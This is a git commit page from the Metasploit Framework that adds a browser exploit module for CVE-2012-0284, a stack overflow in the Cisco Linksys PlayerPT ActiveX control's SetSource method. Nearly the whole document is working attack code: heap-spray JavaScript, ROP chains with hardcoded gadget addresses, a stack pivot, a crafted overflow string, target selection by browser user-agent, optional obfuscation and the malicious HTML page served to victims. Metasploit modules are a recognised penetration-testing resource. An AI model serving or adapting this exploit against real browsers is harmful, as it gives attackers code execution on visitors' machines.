Merge branch 'cisco_playerpt_setsource_surl' of https://github.com/jvazquez-r7/metasploit-framework into jvazquez-r7-cisco_playerpt_setsource_surl
sinn3r
commit
74a6c724a6
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@ -0,0 +1,438 @@
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::Remote::Seh
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include Msf::Exploit::Remote::BrowserAutopwn
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autopwn_info({
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:ua_name => HttpClients::IE,
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:ua_minver => "6.0",
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:ua_maxver => "9.0",
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:javascript => true,
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:os_name => OperatingSystems::WINDOWS,
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:classid => "{9E065E4A-BD9D-4547-8F90-985DC62A5591}",
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:method => "SetSource",
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:rank => NormalRanking
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})
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Cisco Linksys PlayerPT ActiveX Control SetSource sURL argument Buffer Overflow',
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'Description' => %q{
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This module exploits a vulnerability found in Cisco Linksys PlayerPT 1.0.0.15
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as the installed with the web interface of Cisco Linksys WVC200 Wireless-G PTZ
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Internet Video Camera. The vulnerability, due to the insecure usage of sprintf in
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the SetSource method, when handling a specially crafted sURL argument, allows to
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trigger a stack based buffer overflow which leads to code execution under the
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context of the user visiting a malicious web page.
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},
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'Author' =>
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[
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'Carsten Eiram', # Vuln discovery
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'juan' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2012-0284' ],
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[ 'BID', '54588' ],
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[ 'URL', 'http://secunia.com/secunia_research/2012-25/' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'DisableNops' => true,
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},
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'DefaultOptions' =>
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{
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'InitialAutoRunScript' => 'migrate -f'
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', {} ],
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[
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'IE 6 on Windows XP SP3',
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{
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'SprayBlocks' => 0x185,
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'SprayOffset' => '0x0',
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'Ret' => 0x0c0c0c0c,
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'Rop' => nil,
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'RandomHeap' => false
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}
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],
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[
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'IE 7 on Windows XP SP3 / Windows Vista SP2',
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{
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'SprayBlocks' => 0x185,
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'SprayOffset' => '0x0',
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'Ret' => 0x0c0c0c0c,
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'Rop' => nil,
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'RandomHeap' => false
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}
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],
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[
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'IE 8 on Windows XP SP3',
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{
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'SprayBlocks' => 0x185,
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'SprayOffset' => '0x0',
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'Ret' => 0x77c3546b, # ret from msvcrt
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'StackPivot_1' => 0x77c3546a, # pop ebp; ret from msvcrt
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'StackPivot_2' => 0x77c35468, # mov esp,ebp; pop ebp; ret from msvcrt
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'Rop' => :msvcrt,
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'RopChainOffset' => '0x5f4',
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'RandomHeap' => false
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}
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],
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[
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'IE 8 with Java 6 on Windows XP SP3',
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{
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'SprayBlocks' => 0x185,
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'SprayOffset' => '0x0',
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'Ret' => 0x7c3424f2, # ret from msvcr71.dll
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'StackPivot_1' => 0x7c3424f1, # pop ebp; ret from msvcr71.dll
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'StackPivot_2' => 0x7c3424ef, # mov esp,ebp; pop ebp; ret from msvcr71.dll
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'Rop' => :jre,
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'RopChainOffset' => '0x5f4',
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'RandomHeap' => false
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}
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],
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[
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'IE 8 with Java 6 on Windows 7 SP1/Vista SP2',
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{
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'SprayBlocks' => 0x185,
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'SprayOffset' => '0x0',
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'Ret' => 0x7c3424f2, # ret from msvcr71.dll
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'StackPivot_1' => 0x7c3424f1, # pop ebp; ret from msvcr71.dll
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'StackPivot_2' => 0x7c3424ef, # mov esp,ebp; pop ebp; ret from msvcr71.dll
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'Rop' => :jre,
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'RopChainOffset' => '0x5f4',
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'RandomHeap' => false
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}
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],
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[
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'IE 9 with Java 6 on Windows 7 SP1',
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{
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'SprayBlocks' => 0x1000,
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'SprayOffset' => '0x0',
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'Ret' => 0x7c3424f2, # ret from msvcr71.dll
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'StackPivot_1' => 0x7c3424f1, # pop ebp; ret from msvcr71.dll
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'StackPivot_2' => 0x7c3424ef, # mov esp,ebp; pop ebp; ret from msvcr71.dll
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'Rop' => :jre,
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'RopChainOffset' => '0x5fe',
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'RandomHeap' => true,
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}
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]
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],
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'Privileged' => false,
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'DisclosureDate' => 'Jul 17 2012',
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'DefaultTarget' => 0))
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register_options(
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[
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OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
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], self.class
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)
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end
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def get_easy_spray(t, js_code, js_nops)
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spray = <<-JS
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var heap_obj = new heapLib.ie(0x20000);
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var code = unescape("#{js_code}");
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var nops = unescape("#{js_nops}");
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while (nops.length < 0x80000) nops += nops;
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var offset = nops.substring(0, #{t['SprayOffset']});
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var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
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while (shellcode.length < 0x40000) shellcode += shellcode;
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var block = shellcode.substring(0, (0x80000-6)/2);
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heap_obj.gc();
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for (var z=1; z < #{t['SprayBlocks']}; z++) {
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heap_obj.alloc(block);
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}
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JS
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return spray
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end
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def get_aligned_spray(t, js_rop, js_code, js_nops, js_90_nops)
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spray = <<-JS
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var heap_obj = new heapLib.ie(0x20000);
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var code = unescape("#{js_code}");
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var nops = unescape("#{js_nops}");
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var nops_90 = unescape("#{js_90_nops}");
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var rop_chain = unescape("#{js_rop}");
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while (nops.length < 0x80000) nops += nops;
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while (nops_90.length < 0x80000) nops_90 += nops_90;
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var offset = nops.substring(0, #{t['SprayOffset']});
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var nops_padding = nops.substring(0, #{t['RopChainOffset']}-code.length-offset.length);
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var shellcode = offset + code + nops_padding + rop_chain + nops_90.substring(0, 0x800-code.length-nops_padding.length-rop_chain.length);
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while (shellcode.length < 0x40000) shellcode += shellcode;
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var block = shellcode.substring(0, (0x80000-6)/2);
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heap_obj.gc();
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for (var z=1; z < #{t['SprayBlocks']}; z++) {
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heap_obj.alloc(block);
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}
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JS
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return spray
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end
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# Spray published by corelanc0d3r
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# Exploit writing tutorial part 11 : Heap Spraying Demystified
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# See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
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def get_random_spray(t, js_rop, js_code, js_90_nops)
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spray = <<-JS
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function randomblock(blocksize)
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{
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var theblock = "";
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for (var i = 0; i < blocksize; i++)
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{
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theblock += Math.floor(Math.random()*90)+10;
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}
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return theblock;
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}
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function tounescape(block)
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{
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var blocklen = block.length;
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var unescapestr = "";
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for (var i = 0; i < blocklen-1; i=i+4)
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{
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unescapestr += "%u" + block.substring(i,i+4);
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}
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return unescapestr;
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}
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var heap_obj = new heapLib.ie(0x10000);
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var rop = unescape("#{js_rop}");
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var code = unescape("#{js_code}");
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var nops_90 = unescape("#{js_90_nops}");
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while (nops_90.length < 0x80000) nops_90 += nops_90;
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var offset_length = #{t['RopChainOffset']};
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for (var i=0; i < #{t['SprayBlocks']}; i++) {
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var padding = unescape(tounescape(randomblock(0x1000)));
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while (padding.length < 0x1000) padding+= padding;
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var junk_offset = padding.substring(0, offset_length - code.length);
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var single_sprayblock = code + junk_offset + rop + nops_90.substring(0, 0x800 - code.length - junk_offset.length - rop.length);
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while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
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sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
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heap_obj.alloc(sprayblock);
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}
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JS
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return spray
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end
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def junk(n=4)
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return rand_text_alpha(n).unpack("V").first
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end
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def nop
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return make_nops(4).unpack("V").first
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end
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def get_stack_pivot(t)
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stack_pivot = [
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junk,
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junk,
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junk,
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junk,
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junk,
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t['StackPivot_1'], # pop ebp # ret # ESP points here after controlling EIP with overflow
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0x0c0c0c08, # ebp
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t['StackPivot_2'] # mov esp,ebp # pop ebp # ret
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].pack("V*")
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return stack_pivot
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end
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def get_rop_chain(t)
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# Both ROP chains generated by mona.py - See corelan.be
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case t['Rop']
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when :msvcrt
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print_status("Using msvcrt ROP")
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rop =
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[
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0x77C21891, # POP ESI # RETN
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0x0c0c0c04, # ESI
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0x77c4e392, # POP EAX # RETN
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0x77c11120, # <- *&VirtualProtect()
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0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
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junk,
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0x77c2dd6c, # XCHG EAX,ESI # ADD BYTE PTR [EAX],AL # RETN
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0x77c4ec00, # POP EBP # RETN
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0x77c35459, # ptr to 'push esp # ret'
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0x77c47705, # POP EBX # RETN
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0x00001000, # EBX
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0x77c3ea01, # POP ECX # RETN
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0x77c5d000, # W pointer (lpOldProtect) (-> ecx)
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0x77c46100, # POP EDI # RETN
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0x77c46101, # ROP NOP (-> edi)
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0x77c4d680, # POP EDX # RETN
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0x00000040, # newProtect (0x40) (-> edx)
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0x77c4e392, # POP EAX # RETN
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nop, # NOPS (-> eax)
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0x77c12df9, # PUSHAD # RETN
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].pack("V*")
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when :jre
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print_status("Using JRE ROP")
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rop =
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[
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0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
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0x00001000, # (dwSize)
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0x7c347f98, # RETN (ROP NOP)
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0x7c3415a2, # JMP [EAX]
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0xffffffff,
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0x7c376402, # skip 4 bytes
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0x7c345255, # INC EBX # FPATAN # RETN
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0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
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0x7c344f87, # POP EDX # RETN
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0x00000040, # flNewProtect
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0x7c34d201, # POP ECX # RETN
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0x7c38b001, # &Writable location
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0x7c347f97, # POP EAX # RETN
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0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
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0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
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0x7c345c30, # ptr to 'push esp # ret '
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].pack("V*")
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end
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return rop
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end
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def get_target(agent)
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#If the user is already specified by the user, we'll just use that
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return target if target.name != 'Automatic'
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if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
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return targets[1] #IE 6 on Windows XP SP3
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
|
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return targets[2] #IE 7 on Windows XP SP3
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elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
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return targets[2] #IE 7 on Windows Vista SP2
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
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return targets[3] #IE 8 on Windows XP SP3
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elsif agent =~ /NT 6\.[01]/ and agent =~ /MSIE 8/
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return targets[5] #IE 8 on Windows 7 SP1/Vista SP2
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elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/
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return targets[6] #IE 9 on Windows 7 SP1
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else
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return nil
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end
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end
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def on_request_uri(cli, request)
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agent = request.headers['User-Agent']
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print_status("User-agent: #{agent}")
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|
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my_target = get_target(agent)
|
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|
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# Avoid the attack if the victim doesn't have a setup we're targeting
|
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if my_target.nil?
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print_error("Browser not supported: #{agent}")
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send_not_found(cli)
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return
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end
|
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|
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p = payload.encoded
|
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js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
|
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js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
|
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js_90_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
|
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if not my_target['Rop'].nil?
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js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))
|
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end
|
||||
|
||||
js = ""
|
||||
|
||||
if my_target['RandomHeap']
|
||||
js = get_random_spray(my_target, js_rop, js_code, js_90_nops)
|
||||
elsif not my_target['Rop'].nil?
|
||||
js = get_aligned_spray(my_target, js_rop, js_code, js_nops, js_90_nops)
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else
|
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js = get_easy_spray(my_target, js_code, js_nops)
|
||||
end
|
||||
|
||||
js = heaplib(js, {:noobfu => true})
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||||
|
||||
if datastore['OBFUSCATE']
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js = ::Rex::Exploitation::JSObfu.new(js)
|
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js.obfuscate
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||||
end
|
||||
|
||||
sploit = "http://"
|
||||
sploit << "\x0c" * 261
|
||||
sploit << [my_target.ret].pack("V")
|
||||
if not my_target['Rop'].nil?
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||||
sploit << get_stack_pivot(my_target)
|
||||
end
|
||||
sploit << "/img/video.asf"
|
||||
|
||||
html = <<-MYHTML
|
||||
<html>
|
||||
<head>
|
||||
<script>
|
||||
#{js}
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
<object classid='clsid:9E065E4A-BD9D-4547-8F90-985DC62A5591' id='obj' /></object>
|
||||
<script>
|
||||
obj.SetSource("#{sploit}","mpeg","","","");
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
MYHTML
|
||||
|
||||
html = html.gsub(/^\t\t/, '')
|
||||
|
||||
print_status("Sending html")
|
||||
send_response(cli, html, {'Content-Type'=>'text/html'})
|
||||
end
|
||||
end
|
||||
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